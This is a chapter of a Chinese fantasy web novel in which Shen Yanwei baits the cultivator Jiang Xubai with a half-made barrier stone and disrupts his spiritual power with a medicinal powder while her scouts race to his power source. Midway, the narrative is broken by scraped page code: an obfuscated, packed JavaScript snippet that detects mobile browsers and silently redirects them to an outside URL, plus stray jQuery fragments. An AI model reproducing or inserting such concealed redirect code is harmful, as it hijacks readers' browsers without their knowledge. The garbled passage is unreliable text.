晚风卷着炭木燃烧后的淡淡轻烟,飘荡在城郊露天工坊的上空。
石模静静安放在一排平缓石台之上,三种奇材交融之后,已经凝出一块近乎完整的屏障石轮廓。在跳动灯火的映照之下,石块表面流转一层极淡的哑光,远远望去,只差最后片刻冷却,便能彻底成型。
工坊之中,匠人依旧各司其职,添炭、舀取山泉净水、整理剩下的材料,动作舒缓平稳,一如过去数十个寻常夜晚。
所有人的神情,都维持着一种恰到好处的专注与期盼。
没有人惊慌奔走,也没有人刻意戒备。
在旁人眼中,他们只是一心想要完成这最后一块屏障石,拯救深陷虫灾的整片地域。
高空之上,云雾向两侧飞速散开。
一袭素白长衫的身影,自沉沉夜色之中缓缓降落。
江叙白衣袂随风轻扬,周身没有掀起狂风,也没有惊雷巨响,可一股无形、厚重的灵威,如同潮水一般,无声笼罩住整片城郊旷野。
周遭流动的夜风,仿佛在这一刻骤然凝滞。
草丛里低声鸣叫的虫豸,瞬间噤声,四下一片死寂。
他目光淡漠,径直落在石台中央那一块尚未完全定型的屏障石上。
就是此物。
只要彻底成型,九石归位布成法阵,便能在一定程度上阻隔他远距离释放的灵力,让他再也无法像从前一般,不动声色催动漫山虫群。
饶是在他眼中,这套凡人古法依旧有着极大局限,却依旧是一桩麻烦。
他缓缓落在工坊空地之上,洁白的衣摆轻轻擦过地面散落的细碎木炭粉末。
几名守在近处的匠人像是刚刚才察觉到有人闯入,猛地抬起头,脸上露出恰到好处的惊慌失措。
“你……你是什么人?!”
匠人故作慌乱地上前半步,手中工具下意识握紧,却不敢贸然冲到江叙白身前。
江叙白甚至没有多看他们一眼。
在他眼里,这些奔波劳作的凡人匠人,与尘土草木并无多少区别,根本不值得耗费心神理会。
他缓步向前,一步步走向摆放石模的石台,视线自始至终锁在那块即将成型的屏障石之上。
只差一丝。
只差短短片刻冷却,这块石头便可宣告完工。
偏偏在最关键的节点,他亲自来了。
心中一丝淡淡的嘲弄悄然升起。
沈砚微机关算尽,耗尽财力人力,赌上整座八城的命运,到头来,依旧只能眼睁睁看着一切在眼前化为泡影。
“费尽心力,就为造出一块妄图阻隔灵息的顽石。”
他低声开口,声音清浅,却清清楚楚传遍整片空旷工坊,“可笑。”
话音落下,他抬手,一缕莹白柔和的灵力自指尖缓缓流淌而出,并不狂暴汹涌,只是轻飘飘朝着石模笼罩过去。
他并不打算直接一掌将石台轰得粉碎。
那样太过干脆,无趣。
他要一点点渗透进尚未凝固的石料之中,打乱内部材料交融的肌理,让这块石头在所有人的注视之下,一点点开裂、崩塌。
让远处暗处观望的沈砚微,清清楚楚看见,自己拼尽一切的希望,在眼前缓缓破灭。
莹白灵息一点点缠上石模。
就在灵力即将侵入石料的一瞬间。
一道清亮平静的女声,自工坊外侧的夜色之中,缓缓响起。
“止步。”
江叙白指尖动作微微一顿,侧过头,顺着声音传来的方向望过去。
沈砚微自夜色的阴影之中缓步走出。
一身素色长衫,没有佩戴任何华贵首饰,手中只握着一只密闭精致的玉匣,步伐平稳,不见半分慌乱恐惧。
月色与工坊摇曳灯火,一并落在她身上。
她没有调动大批人手一拥而上,也没有布置刀斧弓弩想要拼死围杀。
偌大一片露天工坊,此刻站出来直面这位修仙强者的,只有她一人。
江叙白眉梢微挑,眼底掠过一丝浅淡讶异。
他预想过许多画面。
或许她会躲藏在人群之后,不敢现身;或许会埋伏大量死士,不顾一切前来袭扰;或许会厉声怒斥,宣泄长久积压的恨意。
唯独没有想到,她会独自一人,从容走到自己面前。
“你倒是敢出来。”江叙白收回伸向石模的那一缕灵力,垂眸看向她,“亲眼看一看,自己所有筹谋,化为乌有的模样?”
沈砚微与他隔着数步距离,静静对视。
远处连绵群山隐在漆黑夜幕之下,荒谷的方向,云雾依旧在无声翻涌。
“我的确想看。”她语气平稳,听不出喜怒,“看一看,高高在上,居于云海之上俯瞰众生之人,究竟敢不敢,亲自踏到这片被虫灾肆虐的土地之上,直面自己酿成的一切灾祸。”
江叙白唇角勾起一抹极淡的冷弧。
“灾祸?”他轻轻重复这两个字,语气漫不经心,“凡尘起落,生灭轮回,本就寻常。一群凡人生死祸福,于我而言,不过弹指之间。”
自少年拜入仙门,习得术法,拥有撼动山野的力量之后,俗世百姓的苦难得失,从来不在他考量之内。
当初为攀更高修为,欺瞒洛子衿,借她资源一路进阶;为扫清前路阻碍,不惜搅动虫灾,重创沈家,于他而言,都只是通往大道之中,无关紧要的取舍。
沈砚微目光定定落在他脸上。
“于你是寻常取舍,于八城万千百姓,便是家破人亡,流离失所。”
“弱肉强食,本就是世间至理。”江叙白语气淡漠,“若是无力抵御灾祸,便只能接受覆灭的结局。”
二人简短几句对话,没有歇斯底里的争吵,没有激烈的怒骂,言语交锋之间,立场却已经截然对立。
月色渐渐移至中天。
距离子时灵力顶峰之后那转瞬即逝的滞涩空隙,越来越近。
沈砚微袖下的手指,无意识轻轻攥紧了怀中玉匣。
玉匣之内,便是她耗费无数时日调配而成,能够短暂扰乱灵息流转的混合药粉。
它伤不了修为深厚的江叙白,却足以在那一两息的空隙之内,短暂打乱灵力脉络,造成片刻迟滞。
就是那短短片刻,便是整套计划成败的关键。
她表面依旧维持从容神色,不动声色继续开口交谈,尽量拖延眼前对峙的时间。
“你以为毁掉这最后一块屏障石,一切便会尘埃落定?”
“难道不是?”江叙白抬了抬眼,目光扫过身后那块摇摇欲坠,随时都会溃散的半成品屏障石,“屏障不成,无人可以阻隔我的术法。只要我愿意,虫潮可以一夜之间,踏平整座八城。”
“那你大可一试。”沈砚微微微抬眼,语气不卑不亢,“八城内外,山野村落,早已做好抵御虫群的全部准备。就算整片香草田地尽数被毁,城中百姓,也绝不会轻易屈服。”
江叙白轻轻嗤了一声,并不将这番话放在心上。
凡人的抵抗,在绝对的灵力力量面前,脆弱得不堪一击。
他本不欲再多浪费口舌,打算重新催动灵力,彻底瓦解那块屏障石。
就在这一刻。
遥远深山荒谷的方向。
源源不断向外倾泻的磅礴灵息,毫无预兆地,骤然出现极其短暂的一顿。
来了。
就是那一瞬转瞬即逝的滞涩!
几乎在灵息滞涩出现的同一刹那。
沈砚微手腕微微一动,指尖轻轻弹开玉匣卡扣。
一大把研磨细腻、混杂数十种特殊草木粉末的药粉,迎着晚风,径直朝着江叙白的方向挥洒而出。
药粉并非寒光凛冽的暗器,也没有浓烈刺鼻的异味,颜色浅淡,在夜色晚风之中散开,几乎并不显眼。
江叙白心中微惊,第一时间调动灵力想要隔开迎面而来的粉末。
可恰恰赶上灵力流转短暂滞涩的空隙,平日里运转如流水的术法,在此刻迟滞了短短一瞬。
就是这一瞬。
浅淡的药粉随风落在他身侧流转的灵力光晕之上。
“嗡——”
一声几乎微不可闻的震颤,在空气之中悄然散开。
原本流畅环绕在他身侧莹白柔和的灵力,骤然出现一阵剧烈紊乱、震颤、翻涌。
一股怪异的阻滞感顺着灵力脉络,反向传回他的体内。
江叙白瞳孔微微一缩,下意识后退半步,眉头骤然紧紧蹙起。
“这是什么?!”
药粉无法直接伤害他肉身,却精准干扰了灵力循环流转,如同一块细小石子,投入奔流不息的长河之中,掀起一圈圈混乱的涟漪。
仅仅片刻,他调动术法便变得滞涩卡顿,不再如之前那般随心所欲。
趁着江叙白被药粉扰乱灵力、心神微微晃动的刹那。
夜色四周,接连响起极其轻微的哨音暗号。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17843024|211681||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
埋伏在工坊外围树林、土坡、断墙阴影之中的大批暗探与护卫,并不冲杀上前,而是迅速按照事先定好的路线,朝着通往荒谷的几条山道快速潜行。
他们的目标从来不是在此地围剿江叙白,而是趁他灵力受扰,立刻赶往荒谷深处那一处灵力源头崖洞。
釜底抽薪,直断根基。
方才那一瞬间的迟滞绝非偶然。
从自己降临在此,到沈砚微独自现身对话,再到方才挥洒而出的奇异药粉……
一幕幕在脑海之中飞速掠过。
哪里是孤注一掷,拼死炼制屏障石寻求一线生机。
从头到尾,全部都是一场精心编织的圈套!
“你故意引我下凡。”
他抬眼看向几步之外的沈砚微,声音冷得像是结了一层薄冰,眼底漫开浓烈的怒意。
长久以来,他都以为自己是俯视棋局之人,冷眼旁观对方一次次徒劳挣扎。
却不曾想到,不知不觉之间,自己竟然已然落入对方布下的罗网之中。
沈砚微坦然迎上他冰冷锐利的目光,没有否认。
“是。只有你亲自踏下云海,来到凡尘,我们才有一线机会,终止这场无休止的虫灾。”
短暂的阻滞正在慢慢消退,江叙白体内流转的灵力正在一点点重新平复。
留给暗探队伍赶往荒谷崖洞的时间,并不算充裕。
江叙白衣袖猛地一扬,一股强劲的灵力劲风骤然席卷而出,朝着沈砚微狠狠直压过去。
既然已经识破全部计谋,他便不再有半分玩味试探。
先制服眼前布局之人,再折返前去,清剿那些偷偷摸向荒谷的埋伏人手。
强劲劲风迎面袭来,气流压迫得人几乎难以呼吸。
沈砚微早有预判,侧身迅速向后急退,借着石台、炭炉的遮挡,躲开这一记凌厉的冲击。
劲风狠狠砸在后方石台之上。
轰隆一声巨响。
承载着石模的石台轰然碎裂!
那块尚未彻底成型、作为整件诱饵的屏障石,随着石块崩塌,“咔嚓”几声,碎裂成无数细小的碎石,散落一地。
耗费无数材料、无数日夜演出来的最后一块屏障石,就此彻底化为一堆残屑。
只是此刻,已经没有人再去在意它的破碎与否。
一场真正凶险的较量,才刚刚拉开序幕。
江叙白脚步轻抬,正要继续向前,追击后退躲避的沈砚微。
可就在这时,远处群山之间,几道极其微弱的信号火光,依次在密林上空接连亮起。
暗探小队,已经快要抵达荒谷外围。
察觉到危机,江叙白神色一变。
若是任由这群凡人闯入崖洞,惊扰、破坏源源不断向外输送灵力的支点,后果不堪设想。
他狠狠看了一眼不远处从容后退的沈砚微,心中权衡一瞬。
追杀沈砚微固然可以一举斩断谋划的源头,可若是崖洞灵力支点出事,代价更大。
不能再在此处继续拖延纠缠。
下一瞬,他不再继续向沈砚微出手,身影骤然一转,化作一道白色流光,冲破沉沉夜色,朝着深山荒谷的方向极速掠去。
他必须赶在那些埋伏之人抵达崖洞之前,回到荒谷!
夜风呼啸而过,白衣身影转瞬便消失在漆黑山林尽头。
空旷的露天工坊之内,只剩下满地碎石,摇曳将熄的灯火,以及尚还弥漫在空气之中淡淡的药草气息。
沈砚微缓缓站直身子,望着江叙白飞速远去的方向,心口微微起伏。
方才短短片刻对峙,惊心动魄,险之又险。
第一阶段的计划,算是顺利完成。
诱饵生效,药粉成功短暂扰乱灵力,迫使他动身赶回荒谷。
但这仅仅只是开始。
真正最凶险的一战,即将在云雾笼罩的荒谷深处上演。
“传令所有人,全速赶往荒谷,配合先行小队行动,务必拖住崖洞灵息向外输送!”
沈砚微低声向暗处送出命令,脚步不停,也向着连绵群山的方向快步赶去。
月色高悬,山林树影重重摇晃。
荒谷深处,崖洞周围常年不散的白雾,第一次开始剧烈翻滚躁动。
崖洞之下,泥土深处,亿万虫卵仿佛感知到巨大动荡,疯狂震颤。
决定整片山野命运的对决,即将在幽深荒谷之中,正式开启。